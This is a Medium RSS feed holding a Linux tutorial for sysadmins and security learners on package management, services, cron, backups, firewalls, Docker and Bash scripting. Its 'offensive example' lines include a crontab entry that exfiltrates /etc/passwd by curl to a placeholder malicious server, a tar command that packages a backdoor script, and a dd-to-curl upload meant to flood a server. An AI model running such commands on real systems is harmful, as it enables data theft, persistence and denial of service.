<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by v1xtron on Medium]]></title>
        <description><![CDATA[Stories by v1xtron on Medium]]></description>
        <link>https://medium.com/@v1xtron?source=rss-7d791a7327df------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*K5ebr-c35mI8f1_KVY3Tgg.jpeg</url>
            <title>Stories by v1xtron on Medium</title>
            <link>https://medium.com/@v1xtron?source=rss-7d791a7327df------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 01:25:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@v1xtron/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Linux Basics for Hackers, Developers, and System Administrators]]></title>
            <link>https://medium.com/@v1xtron/linux-basics-for-hackers-developers-and-system-administrators-419b828f2a98?source=rss-7d791a7327df------2</link>
            <guid isPermaLink="false">https://medium.com/p/419b828f2a98</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[system-administration]]></category>
            <dc:creator><![CDATA[v1xtron]]></dc:creator>
            <pubDate>Fri, 24 Jan 2025 12:06:47 GMT</pubDate>
            <atom:updated>2025-01-24T12:06:47.536Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this guide, I will cover essential Linux concepts, from basic commands to advanced system management. First, I will explain the significance of Linux in various domains like servers, development, cybersecurity, and embedded systems.</p><p>Then, I will walk you through setting up different desktop environments, installing software with APT, and managing services using systemctl. You’ll also learn about cron jobs for automating tasks and exploring tools like docker, nmap, iptables, and htop. Further, we’ll dive into scripting with Bash, including variable management, loops, and functions, and I will also highlight important backup strategies and security tools like UFW.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*86BOtOJk3MkQEpfkP7vVpg.png" /></figure><p>Here’s why Linux is indispensable:</p><ul><li><strong>Servers</strong>: Most web servers, enterprise servers, and cloud platforms rely on Linux due to its reliability and performance.</li><li><strong>Development</strong>: Linux provides an unparalleled development environment, complete with extensive tools, libraries, and support for multiple programming languages.</li><li><strong>Cybersecurity</strong>: Penetration testers and bug bounty hunters also use Linux for its customizable environment and advanced tools like Metasploit, Burp Suite, and Nmap.</li><li><strong>Embedded Systems</strong>: Linux powers IoT devices, Android smartphones, smart appliances, and industrial systems.</li><li><strong>Personal Computing</strong>: Loved by developers and tech enthusiasts for its customizability, lightweight distributions, and open-source ethos.</li></ul><h3>Linux Desktop Environments</h3><p>Linux offers a variety of desktop environments (DEs), catering to different use cases and preferences:</p><ul><li><strong>KDE Plasma</strong>: A feature-rich and highly customizable DE.</li><li><strong>GNOME</strong>: A modern and minimalist DE with a focus on usability.</li><li><strong>XFCE</strong>: Lightweight and ideal for older hardware or users prioritizing speed.</li><li><strong>Cinnamon</strong>: Provides a traditional desktop experience with modern features.</li></ul><h3>Installing KDE Plasma on Debian</h3><ul><li>Update the system:</li></ul><pre>sudo apt update &amp;&amp; sudo apt upgrade</pre><ul><li>Install KDE Plasma:</li></ul><pre>sudo apt install kde-plasma-desktop</pre><ul><li>Reboot the system:</li></ul><pre>sudo reboot</pre><p>Select “Plasma” at the login screen.</p><h3>The APT Package Management System</h3><p>APT (Advanced Package Tool) is a package management system for Debian-based distributions like Ubuntu. It simplifies software installation, upgrades, and management.</p><h3>Common APT Commands</h3><ul><li><strong>Update package lists:</strong></li></ul><pre>sudo apt update</pre><ul><li><strong>Upgrade installed packages:</strong></li></ul><pre>sudo apt upgrade</pre><ul><li><strong>Install a package:</strong></li></ul><pre>sudo apt install package_name</pre><ul><li><strong>Remove a package:</strong></li></ul><pre>sudo apt remove package_name</pre><ul><li><strong>Clean up unused packages:</strong></li></ul><pre>sudo apt autoremove</pre><ul><li><strong>Search for a package:</strong></li></ul><pre>apt search package_name</pre><ul><li><strong>View package details:</strong></li></ul><pre>apt show package_name</pre><h3>Linux File System Structure</h3><p>The Linux file system is the backbone of the operating system, organizing data in a structured hierarchy. It follows the Filesystem Hierarchy Standard (FHS), which defines specific purposes for directories.</p><p>Here’s a broad overview:</p><h4>Directories and Their Functions</h4><ul><li><strong>/ (Root Directory):</strong> The base of the file system, containing all other directories.</li><li><strong>/home:</strong> Stores personal files, settings, and user-specific data. Each user gets a subdirectory (e.g., /home/user).</li><li><strong>/etc:</strong> Houses system-wide configuration files. For example, hosts and passwd.</li><li><strong>/var:</strong> Contains variable data like logs (/var/log), spools, and caches.</li><li><strong>/usr:</strong> Contains user-installed software, libraries, and documentation. Common subdirectories include /usr/bin (binaries) and /usr/share (shared data).</li><li><strong>/tmp:</strong> A temporary directory where applications and the system can store transient files.</li><li><strong>/boot:</strong> Includes bootloader files like the Linux kernel and grub configurations.</li><li><strong>/dev:</strong> Contains device files, which represent hardware like disks (/dev/sda) and peripherals.</li><li><strong>/proc and </strong><strong>/sys:</strong> Virtual filesystems that provide runtime information about the system and kernel parameters.</li><li><strong>/opt:</strong> Reserved for optional, third-party software packages.</li><li><strong>/root:</strong> The home directory for the root (administrative) user.</li></ul><h4>File Permissions</h4><p>Every file and directory in Linux has associated permissions for <strong>read</strong>, <strong>write</strong>, and <strong>execute</strong> operations. Permissions are assigned to the <strong>owner</strong>, <strong>group</strong>, and <strong>others</strong>, with commands like chmod, chown, and ls -l used for management.</p><h4>Filesystem Types</h4><p>Linux supports various filesystems, including:</p><ul><li><strong>ext4:</strong> The most commonly used filesystem in modern Linux distributions.</li><li><strong>xfs:</strong> Designed for high-performance and scalability.</li><li><strong>btrfs:</strong> A modern filesystem with snapshot and error detection capabilities.</li><li><strong>vfat/NTFS:</strong> For interoperability with Windows systems.</li></ul><h4>Mounting and Partitioning</h4><p>Drives and partitions in Linux are not automatically accessible; they must be mounted to directories (mount points). For example, /mnt and /media are commonly used for mounting removable drives. Commands like mount, umount, and df are used to manage and view mounted filesystems.</p><h4>Important Commands</h4><ul><li><strong>ls:</strong> List files in a directory.</li><li><strong>cd:</strong> Change the current directory.</li><li><strong>pwd:</strong> Display the present working directory.</li><li><strong>df:</strong> Show disk usage statistics.</li><li><strong>du:</strong> Display space used by files and directories.</li><li><strong>find:</strong> Search for files in the filesystem.</li></ul><h3>Advanced Linux Commands</h3><h4>systemctl: Manage systemd services</h4><p>systemctl is a powerful command to control system services and processes managed by systemd. It allows you to start, stop, enable, disable, and check the status of services.</p><ul><li><strong>Restart a service:</strong></li></ul><pre>systemctl restart apache2</pre><p>Restarts the Apache web server service.</p><ul><li><strong>Check the status of a service:</strong></li></ul><pre>systemctl status apache2</pre><p>Displays detailed information about the service’s current state.</p><ul><li><strong>Enable a service at boot:</strong></li></ul><pre>systemctl enable apache2</pre><p>Configures the service to start automatically during boot.</p><ul><li><strong>Disable a service at boot:</strong></li></ul><pre>systemctl disable apache2</pre><ul><li>Prevents the service from starting at boot.</li></ul><h3>journalctl: View system logs</h3><p>journalctl allows you to query and view logs collected by systemd&#39;s journal service. This is useful for debugging and monitoring system behavior.</p><ul><li><strong>View logs for a specific service:</strong></li></ul><pre>journalctl -u apache2</pre><p>Displays logs associated with the Apache web server service.</p><ul><li><strong>View logs from the last boot:</strong></li></ul><pre>journalctl -b</pre><p>Shows logs from the most recent boot session.</p><ul><li><strong>Follow real-time logs:</strong></li></ul><pre>journalctl -f</pre><p>Continuously displays new log entries as they are recorded.</p><h3>cron: Schedule recurring tasks</h3><p>cron is a job scheduler that runs tasks at specified times or intervals. The configuration for each user is stored in a crontab file.</p><ul><li><strong>Edit the crontab file:</strong></li></ul><pre>crontab -e</pre><p>Opens the crontab editor for the current user to schedule tasks.</p><ul><li><strong>Common syntax for scheduling tasks:</strong></li></ul><pre>* * * * * /path/to/command<br>| | | | |<br>| | | | +-- Day of the week (0 - 7) (Sunday = 0 or 7)<br>| | | +---- Month (1 - 12)<br>| | +------ Day of the month (1 - 31)<br>| +-------- Hour (0 - 23)<br>+---------- Minute (0 - 59)</pre><ul><li><strong>Example:</strong></li></ul><pre>0 3 * * * /usr/bin/backup.sh</pre><p>Runs backup.sh every day at 3:00 AM.</p><ul><li><strong>Malicious Crontab Example:</strong></li></ul><pre>@reboot curl -X POST -d &quot;$(cat /etc/passwd)&quot; http://malicious-server.com</pre><p>This will exfiltrate /etc/passwd.</p><ul><li><strong>Privilege Escalation Example:</strong></li></ul><pre>* * * * * root /usr/local/bin/vulnerable_script.sh</pre><p>Exploit writable script executed with root privileges.</p><ul><li><strong>Resources for </strong><strong>crontab:</strong></li><li><a href="https://crontab.guru/">Crontab Guru</a>: An online editor and interpreter for crontab expressions.</li><li>man 5 crontab: Built-in Linux manual page for detailed syntax and options.</li></ul><h3>Alternatives to cron: screen and tmux</h3><p>While cron handles scheduled tasks, sometimes you need tools for long-running tasks or session persistence. Two popular alternatives are:</p><ul><li><strong>screen</strong>: Allows you to create, detach, and reattach terminal sessions.</li><li>Start a new session:</li></ul><pre>screen</pre><ul><li>Detach a session: Press Ctrl+A, then D.</li><li>Reattach to a session:</li></ul><pre>screen -r</pre><ul><li><strong>tmux</strong>: A more modern alternative to screen with advanced features for managing terminal sessions.</li><li>Start a new session:</li></ul><pre>tmux new -s session_name</pre><ul><li>Detach a session: Press Ctrl+B, then D.</li><li>Reattach to a session:</li></ul><pre>tmux attach-session -t session_name</pre><h3>df -h: Disk space usage</h3><p>df is used to display information about file system disk space usage.</p><ul><li><strong>Display disk usage in human-readable format:</strong></li></ul><pre>df -h</pre><p>Outputs disk space usage for all mounted file systems in a human-readable format (e.g., GB or MB).</p><ul><li><strong>Check disk usage for a specific directory or device:</strong></li></ul><pre>df -h /home</pre><p>Shows the disk usage statistics for the /home directory.</p><h3>Networking and Security</h3><ul><li><strong>nmap</strong>: Perform network scans.</li></ul><pre>nmap -sV 192.168.1.1</pre><ul><li><strong>tcpdump</strong>: Analyze network packets.</li></ul><pre>tcpdump -i eth0</pre><ul><li><strong>iptables</strong>: Configure the firewall.</li></ul><pre>iptables -A INPUT -p tcp --dport 22 -j ACCEPT</pre><h3>Process and Resource Management</h3><ul><li><strong>htop</strong>: Interactive process monitoring.</li></ul><pre>htop</pre><ul><li><strong>kill</strong>: Terminate processes.</li></ul><pre>kill -9 1337</pre><ul><li><strong>nice</strong>: Adjust process priority.</li></ul><pre>nice -n 10 command</pre><h3>Power of Grep</h3><ul><li>Search text patterns in files.</li></ul><pre>grep &quot;pattern&quot; file_name<br>grep -i &quot;pattern&quot; file_name  # Case-insensitive</pre><ul><li>Search for a specific word in a file:</li></ul><pre>grep &quot;error&quot; /var/log/syslog</pre><ul><li>Search recursively in all files within a directory:</li></ul><pre>grep -r &quot;TODO&quot; /path/to/code</pre><ul><li>Display line numbers with matches:</li></ul><pre>grep -n &quot;user&quot; /etc/passwd</pre><ul><li>Invert match to show lines that do not contain the pattern:</li></ul><pre>grep -v &quot;127.0.0.1&quot; /etc/hosts</pre><ul><li>Highlight matched patterns:</li></ul><pre>grep --color=auto &quot;root&quot; /etc/passwd</pre><ul><li>Count occurrences of a pattern:</li></ul><pre>grep -c &quot;ssh&quot; /var/log/auth.log</pre><ul><li>Match whole words only:</li></ul><pre>grep -w &quot;sudo&quot; /etc/group</pre><ul><li>Search multiple patterns:</li></ul><pre>grep -Ei &quot;(error|fail)&quot; /var/log/syslog</pre><ul><li>Search patterns from a file:</li></ul><pre>grep -f patterns.txt /var/log/messages</pre><h3>Recovery and Malware Detection</h3><h4>Recovery</h4><ul><li><strong>Boot into Recovery Mode</strong>: Access GRUB during boot by pressing Shift. Select recovery mode to troubleshoot.</li><li><strong>Reset Root Password</strong>:</li></ul><p>First, boot into recovery mode.</p><ul><li>Remount the filesystem as writable:</li></ul><pre>mount -o remount,rw /</pre><ul><li>Change the root password:</li></ul><pre>passwd root</pre><h3>Malware Detection</h3><ul><li><strong>List Running Processes</strong>:</li></ul><pre>ps aux</pre><ul><li><strong>Check Network Connections</strong>:</li></ul><pre>netstat -an | grep ESTABLISHED</pre><ul><li><strong>Scan for Malware</strong>:</li></ul><pre>chkrootkit</pre><h3>Backup and Disaster Recovery</h3><p>Backup and disaster recovery are critical responsibilities especially for system administrators to ensure data safety, system availability, and business continuity in the event of system failures, data corruption, or cyberattacks. Here’s an in-depth look:</p><h4>Types of Backups</h4><p><strong>Full Backup</strong></p><ul><li>Copies all files and data in the system.</li><li>Suitable for initial backups or critical points but resource-intensive.</li><li><strong>Example Command:</strong></li></ul><pre>rsync -av /source /backup/full_backup/</pre><ul><li><strong>Use case:</strong> Initial deployment or before major upgrades.</li></ul><p><strong>Incremental Backup</strong></p><ul><li>Backs up only the files that have changed since the last backup.</li><li><strong>Example Command:</strong></li></ul><pre>rsync -av --compare-dest=/backup/full_backup/ /source /backup/incremental_backup/</pre><ul><li><strong>Use case:</strong> Frequent backups with reduced storage and time requirements.</li></ul><p><strong>Differential Backup</strong></p><ul><li>Backs up changes since the last <strong>full</strong> backup.</li><li><strong>Example Command:</strong></li></ul><pre>rsync -av --compare-dest=/backup/full_backup/ /source /backup/differential_backup/</pre><ul><li><strong>Use case:</strong> Restoring data quickly with fewer dependencies compared to incremental backups.</li></ul><ol><li><strong>Snapshot Backup</strong></li></ol><ul><li>Captures the system’s state at a specific point in time. Often used with filesystems like <strong>Btrfs</strong>, <strong>ZFS</strong>, or <strong>LVM</strong>.</li><li><strong>Example Command:</strong></li></ul><pre>lvcreate -L 5G -s -n backup_snapshot /dev/vg0/lv0</pre><ul><li><strong>Use case:</strong> Quickly restore data or test updates without affecting production data.</li></ul><h4>Backup Tools</h4><p><strong>Rsync:</strong></p><ul><li>Ideal for syncing directories locally or remotely.</li><li><strong>Example:</strong> Backup home directories while excluding certain files:</li></ul><pre>rsync -av --exclude &#39;*.tmp&#39; /home /backup/home_backup/</pre><ul><li><strong>Features:</strong> Incremental backups, compression, and bandwidth control.</li></ul><p><strong>BorgBackup:</strong></p><ul><li>A deduplicating backup tool with encryption and compression.</li><li><strong>Example:</strong></li></ul><pre>borg init --encryption=repokey /path/to/repo<br>borg create /path/to/repo::backup-{now:%Y-%m-%d} /important/data</pre><ul><li><strong>Features:</strong> Efficient storage for repeated backups and secure encryption.</li></ul><ol><li><strong>Duplicity</strong></li></ol><ul><li>Encrypted, incremental backups for local or cloud storage.</li><li><strong>Example:</strong></li></ul><pre>duplicity /source file:///backup</pre><ul><li><strong>Features:</strong> GPG encryption and cloud integration (AWS, Google Drive, etc.).</li></ul><p><strong>Restic:</strong></p><ul><li>Cross-platform backup tool that supports encryption and deduplication.</li><li><strong>Example:</strong></li></ul><pre>restic init -r /backup/repository<br>restic backup /data</pre><ul><li><strong>Features:</strong> Fast and portable backups.</li></ul><p><strong>Tar for Archiving</strong></p><ul><li>A classic utility for creating archives.</li><li><strong>Example:</strong> Compress a directory for backup:</li></ul><pre>tar -czvf backup.tar.gz /important/data</pre><p><strong>Offensive Example</strong>:</p><ul><li>Exploit tar files with malicious payloads:</li></ul><pre>tar -cvf malicious.tar --owner=root --group=root /tmp/backdoor.sh</pre><h4>Scheduling Backups</h4><ul><li>Automate backups using cron or systemd timers.</li></ul><p><strong>Example Cron Job:</strong><br>Schedule a daily backup at midnight:</p><pre>0 0 * * * rsync -av /source /backup &gt;&gt; /var/log/backup.log 2&gt;&amp;1</pre><p><strong>Systemd Timer Example:</strong><br>Create a timer and service to run backups:</p><p><strong>Service File (</strong><strong>/etc/systemd/system/backup.service):</strong></p><pre>[Unit]<br>Description=Daily Backup<br><br>[Service]<br>ExecStart=/usr/bin/rsync -av /source /backup</pre><p><strong>Timer File (</strong><strong>/etc/systemd/system/backup.timer):</strong></p><pre>[Unit]<br>Description=Daily Backup Timer<br><br>[Timer]<br>OnCalendar=*-*-* 00:00:00<br>Persistent=true<br><br>[Install]<br>WantedBy=timers.target</pre><p>Enable and start the timer:</p><pre>systemctl enable backup.timer<br>systemctl start backup.timer</pre><h4>Testing Disaster Recovery</h4><p>Regularly test your backups to ensure data can be restored as expected.</p><p><strong>Verify Backup Integrity:</strong></p><ul><li><strong>Example:</strong> Use borg to verify backups:</li></ul><pre>borg check /path/to/repo</pre><p><strong>Simulate Recovery Scenarios:</strong></p><ul><li>Restore files to a test environment to verify integrity:</li></ul><pre>rsync -av /backup /test_recovery/</pre><p><strong>Bootable Backup Media:</strong></p><ul><li>Create a bootable backup of the system:</li></ul><pre>dd if=/dev/sda of=/backup/system_image.img bs=4M</pre><p><strong>Offensive Example:</strong> Generate junk data and upload to an API (for testing or malicious intent):</p><pre>dd if=/dev/urandom bs=1M count=10 | curl -X POST -H &quot;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0&quot; -H &quot;Content-Type: application/octet-stream&quot; --data-binary @- http://example.com/api/upload</pre><p><strong>Explanation:</strong> Here, dd creates 10 MB of random data using /dev/urandom, and curl uploads it to an API endpoint. This can simulate stress testing or, if misused, could be part of a malicious attack to overwhelm a server.</p><h4>Advanced Backup</h4><p><strong>Offsite Backups:</strong></p><ul><li>Use cloud storage (e.g., AWS S3, Google Cloud) or external drives for redundancy.</li><li><strong>Example:</strong> Sync to AWS S3 using the AWS CLI:</li></ul><pre>aws s3 sync /backup s3://yourbucketname</pre><p><strong>Database Backups:</strong></p><ul><li>Use database-specific tools like mysqldump for MySQL:</li></ul><pre>mysqldump -u root -p database_name &gt; database_backup.sql</pre><p><strong>Version Control for Configuration Files:</strong></p><ul><li>Use Git to track and back up critical configuration files:</li></ul><pre>git init /etc/config_repo<br>cd /etc/config_repo<br>git add /etc/nginx/nginx.conf<br>git commit -m &quot;Initial config backup&quot;</pre><p><strong>Immutable Backups:</strong></p><ul><li>Use object storage or write-once-read-many (WORM) backups for tamper-proof data retention.</li></ul><h3>Linux Security</h3><p>Linux is known for its security features, making it a top choice for servers, developers, and cybersecurity professionals. By properly learning these built-in tools and best practices, you can secure your Linux system against a wide range of threats.</p><h4>User and Permission Management</h4><ul><li>Linux enforces strict user permissions with ownership and access control for files and processes.</li><li>Commands like chmod, chown, and umask allow you to manage access to files and directories.</li><li>Use groups to organize user permissions and avoid assigning unnecessary privileges to individual users.</li></ul><h4>SSH Security</h4><p><strong>Best Practices:</strong></p><ul><li>Disable root login (PermitRootLogin no in /etc/ssh/sshd_config).</li><li>Use SSH key authentication instead of passwords.</li><li>Change the default SSH port to avoid automated attacks.<br>Example:</li></ul><pre>sudo ssh-keygen -t rsa -b 4096  # Generate SSH key</pre><h4>Mandatory Access Control (MAC)</h4><p>Tools like SELinux and AppArmor add an extra layer of security by restricting application permissions.</p><ul><li>Example:</li></ul><pre>sudo setenforce 1        # Enable SELinux enforcing mode<br>sudo aa-status           # Check AppArmor status</pre><h4>Intrusion Detection and Prevention</h4><p>Use tools like fail2ban to prevent brute-force attacks.<br>Example:</p><pre>sudo apt install fail2ban  <br>sudo systemctl enable fail2ban</pre><ul><li>Regularly scan logs using journalctl or tools like logwatch.</li><li>Keep the system up-to-date with the latest security patches using package managers:</li></ul><pre>sudo apt update &amp;&amp; sudo apt upgrade  </pre><h3>UFW (Uncomplicated Firewall)</h3><p>The Uncomplicated Firewall (UFW) is a simple, user-friendly CLI tool for managing iptables on Linux systems. It’s commonly used to manage firewall rules and enhance system security with minimal effort.</p><h4>Installation and Setup</h4><ul><li><strong>Check if UFW is installed:</strong></li></ul><pre>ufw --version</pre><ul><li><strong>Install UFW (if not installed):</strong></li></ul><pre>sudo apt install ufw</pre><ul><li><strong>Enable UFW:</strong></li></ul><pre>sudo ufw enable</pre><ul><li><strong>Disable UFW:</strong></li></ul><pre>sudo ufw disable</pre><ul><li><strong>Check UFW status:</strong></li></ul><pre>sudo ufw status sudo ufw status verbose</pre><h4>Basic Rules</h4><ul><li><strong>Allow specific port:</strong></li></ul><pre>sudo ufw allow 22</pre><ul><li><strong>Allow port with protocol (TCP/UDP):</strong></li></ul><pre>sudo ufw allow 80/tcp sudo ufw allow 53/udp</pre><ul><li><strong>Allow port range:</strong></li></ul><pre>sudo ufw allow 1000:2000/tcp</pre><ul><li><strong>Deny specific port:</strong></li></ul><pre>sudo ufw deny 23</pre><ul><li><strong>Remove a rule:</strong></li></ul><pre>sudo ufw delete allow 22</pre><ul><li><strong>Enable logging (recommended for debugging):</strong></li></ul><pre>sudo ufw logging on</pre><h4>Advanced Rules</h4><ul><li><strong>Allow traffic from a specific IP:</strong></li></ul><pre>sudo ufw allow from 192.168.1.100</pre><ul><li><strong>Allow traffic from a specific IP to a port:</strong></li></ul><pre>sudo ufw allow from 192.168.1.100 to any port 22</pre><ul><li><strong>Deny traffic from a specific IP:</strong></li></ul><pre>sudo ufw deny from 203.0.113.0</pre><ul><li><strong>Allow traffic to a specific network range:</strong></li></ul><pre>sudo ufw allow from 192.168.1.0/24</pre><ul><li><strong>Limit connections to prevent brute force attacks:</strong></li></ul><pre>sudo ufw limit ssh</pre><ul><li>The limit rule allows a maximum of 6 connections in 30 seconds from an IP. Beyond this, the IP will be blocked temporarily.</li></ul><h4>Service-Based Rules</h4><p>UFW uses predefined application profiles stored in /etc/ufw/applications.d/.</p><ul><li><strong>List all available application profiles:</strong></li></ul><pre>sudo ufw app list</pre><ul><li><strong>Allow a service by its profile name:</strong></li></ul><pre>sudo ufw allow &#39;Apache&#39;</pre><ul><li><strong>View details of an application profile:</strong></li></ul><pre>sudo ufw app info &#39;Apache Full&#39;</pre><h4>Default Policies</h4><ul><li><strong>Set default to deny all incoming traffic:</strong></li></ul><pre>sudo ufw default deny incoming</pre><ul><li><strong>Set default to allow all outgoing traffic:</strong></li></ul><pre>sudo ufw default allow outgoing</pre><ul><li><strong>Set default to deny all outgoing traffic:</strong></li></ul><pre>sudo ufw default deny outgoing</pre><h4>Rule Management</h4><ul><li><strong>View numbered rules (for editing):</strong></li></ul><pre>sudo ufw status numbered</pre><ul><li><strong>Delete a specific rule by number:</strong></li></ul><pre>sudo ufw delete [rule_number]</pre><h4>Testing UFW Rules</h4><ul><li><strong>Simulate rule application without enabling UFW:</strong></li></ul><pre>sudo ufw enable --dry-run</pre><ul><li><strong>Check logs for blocked connections:</strong></li></ul><pre>sudo tail -f /var/log/ufw.log</pre><h4><strong>Offensive Example</strong></h4><p>Open unnecessary ports for exploitation:</p><pre>sudo ufw allow 1337/tcp</pre><h3>Virtualization and Containers</h3><p>Virtualization and containerization allow you to create isolated environments for running applications or entire systems. Docker is a popular tool for containerization, and here’s how you can create a <strong>Kali Linux</strong> container.</p><h4>Installing Docker</h4><ul><li>Install Docker on your Linux system:</li></ul><pre>sudo apt update  <br>sudo apt install docker.io  <br>sudo systemctl start docker  <br>sudo systemctl enable docker</pre><h4>Pulling a Kali Linux Docker Image</h4><ul><li>Docker Hub provides prebuilt images, including Kali Linux:</li></ul><pre>sudo docker pull kalilinux/kali-rolling</pre><h4>Running a Kali Linux Container</h4><ul><li>Start a new Kali Linux container:</li></ul><pre>sudo docker run -it kalilinux/kali-rolling /bin/bash</pre><p>This launches an interactive shell within the container, giving you access to a Kali environment.</p><h4>Persisting Changes in Containers</h4><ul><li>To save changes made in a container, you can commit it to a new image:</li></ul><pre>sudo docker commit &lt;container_id&gt; my_kali_image</pre><ul><li>Restart the container later with:</li></ul><pre>sudo docker run -it my_kali_image /bin/bash</pre><h4>Using Docker for Penetration Testing</h4><p>Containers can isolate tools like Metasploit, Nmap, and Burp Suite. For instance, you can use the pre-installed tools in the Kali Linux image to scan and test networks without affecting the host system.</p><h4>Advantages of Containers over Virtual Machines</h4><ul><li><strong>Lightweight:</strong> Containers use fewer resources than full virtual machines.</li><li><strong>Portability:</strong> Containers can run consistently across different environments.</li><li><strong>Isolation:</strong> Applications run in isolated environments, reducing the risk of interference.</li></ul><h3>Bash Scripting Basics</h3><h4>Creating a Script</h4><ul><li>Open a file in a text editor:</li></ul><pre>nano script.sh</pre><ul><li>Add the following code:</li></ul><pre>#!/bin/bash<br>echo &quot;Hello, World!&quot;</pre><ul><li><strong>Make the script executable:</strong></li></ul><pre>chmod +x script.sh</pre><ul><li><strong>Run the script:</strong></li></ul><pre>./script.sh</pre><h4>Variables and Parameters</h4><ul><li><strong>Defining and using variables:</strong></li></ul><pre>name=&quot;Lyn&quot;<br>echo &quot;Hello, $name!&quot;</pre><ul><li><strong>Reading input from the user:</strong></li></ul><pre>echo &quot;Enter your name:&quot;<br>read user_name<br>echo &quot;Hello, $user_name!&quot;</pre><ul><li><strong>Using command-line arguments:</strong></li></ul><pre>echo &quot;Script name: $0&quot;<br>echo &quot;First argument: $1&quot;<br>echo &quot;All arguments: $@&quot;</pre><h4>Conditional Statements</h4><ul><li><strong>If-else example:</strong></li></ul><pre>if [ -f file.txt ]; then<br>  echo &quot;file.txt exists&quot;<br>else<br>  echo &quot;file.txt does not exist&quot;<br>fi</pre><ul><li><strong>Case statement:</strong></li></ul><pre>case $1 in<br>  start)<br>    echo &quot;Starting the process...&quot;<br>    ;;<br>  stop)<br>    echo &quot;Stopping the process...&quot;<br>    ;;<br>  restart)<br>    echo &quot;Restarting the process...&quot;<br>    ;;<br>  *)<br>    echo &quot;Usage: $0 {start|stop|restart}&quot;<br>    ;;<br>esac</pre><h4>Loops</h4><ul><li><strong>For loop example:</strong></li></ul><pre>for i in {1..5}; do<br>  echo &quot;Iteration $i&quot;<br>done</pre><ul><li><strong>While loop:</strong></li></ul><pre>count=1<br>while [ $count -le 5 ]; do<br>  echo &quot;Count: $count&quot;<br>  count=$((count + 1))<br>done</pre><ul><li><strong>Loop through files:</strong></li></ul><pre>for file in *.txt; do<br>  echo &quot;Processing $file&quot;<br>done</pre><h4>Functions</h4><ul><li><strong>Defining and calling functions:</strong></li></ul><pre>my_function() {<br>  echo &quot;This is a function&quot;<br>}<br><br>my_function</pre><ul><li><strong>Function with parameters:</strong></li></ul><pre>greet() {<br>  echo &quot;Hello, $1!&quot;<br>}<br><br>greet &quot;Lyn&quot;</pre><ul><li><strong>Return values from functions:</strong></li></ul><pre>add() {<br>  result=$(( $1 + $2 ))<br>  return $result<br>}<br><br>add 3 5<br>echo &quot;Sum: $?&quot;</pre><h3>Advanced Examples</h3><ul><li><strong>Logging with timestamps:</strong></li></ul><pre>log_message() {<br>  echo &quot;$(date +&#39;%Y-%m-%d %H:%M:%S&#39;) - $1&quot; &gt;&gt; script.log<br>}<br><br>log_message &quot;Script started&quot;</pre><ul><li><strong>Error handling with traps:</strong></li></ul><pre>trap &#39;echo &quot;An error occurred at line $LINENO&quot;; exit 1&#39; ERR<br>echo &quot;This will run smoothly&quot;<br>false  # Simulate an error</pre><ul><li><strong>Parallel execution with background processes:</strong></li></ul><pre>task() {<br>  sleep 2<br>  echo &quot;Task $1 completed&quot;<br>}<br><br>for i in {1..5}; do<br>  task $i &amp;<br>done<br><br>wait<br>echo &quot;All tasks completed&quot;</pre><ul><li><strong>Processing CSV files:</strong></li></ul><pre>while IFS=&#39;,&#39; read -r column1 column2 column3; do<br>  echo &quot;Col1: $column1, Col2: $column2, Col3: $column3&quot;<br>done &lt; data.csv</pre><ul><li><strong>Creating and using arrays:</strong></li></ul><pre>fruits=(&quot;apple&quot; &quot;banana&quot; &quot;cherry&quot;)<br>for fruit in &quot;${fruits[@]}&quot;; do<br>  echo &quot;Fruit: $fruit&quot;<br>done</pre><ul><li><strong>File operations:</strong></li></ul><pre>if [ -e &quot;file.txt&quot; ]; then<br>  echo &quot;File exists&quot;<br>else<br>  echo &quot;File does not exist, creating it...&quot;<br>  echo &quot;Hello, file!&quot; &gt; file.txt<br>fi</pre><h3>Conclusion</h3><p>This guide has equipped you with a comprehensive set of Linux skills that can be applied in multiple fields, from system administration to cybersecurity. By mastering commands for system management, automating tasks, and creating efficient backups, you’re ready to leverage Linux for various real-world applications. The flexibility and power of Linux are at your fingertips, whether you’re working with servers, desktops, or embedded systems. Embrace the open-source environment, and you’ll have the foundation to solve complex problems and streamline your workflow.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=419b828f2a98" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dive into Go: A Full Guide for Penetration Testers, Bounty Hunters, and Developers]]></title>
            <link>https://medium.com/@v1xtron/dive-into-go-a-full-guide-for-penetration-testers-bounty-hunters-and-developers-5cc013d3f5c6?source=rss-7d791a7327df------2</link>
            <guid isPermaLink="false">https://medium.com/p/5cc013d3f5c6</guid>
            <category><![CDATA[go]]></category>
            <category><![CDATA[learn-to-code]]></category>
            <category><![CDATA[programming-languages]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[v1xtron]]></dc:creator>
            <pubDate>Wed, 01 Jan 2025 20:47:33 GMT</pubDate>
            <atom:updated>2025-01-01T20:47:33.145Z</atom:updated>
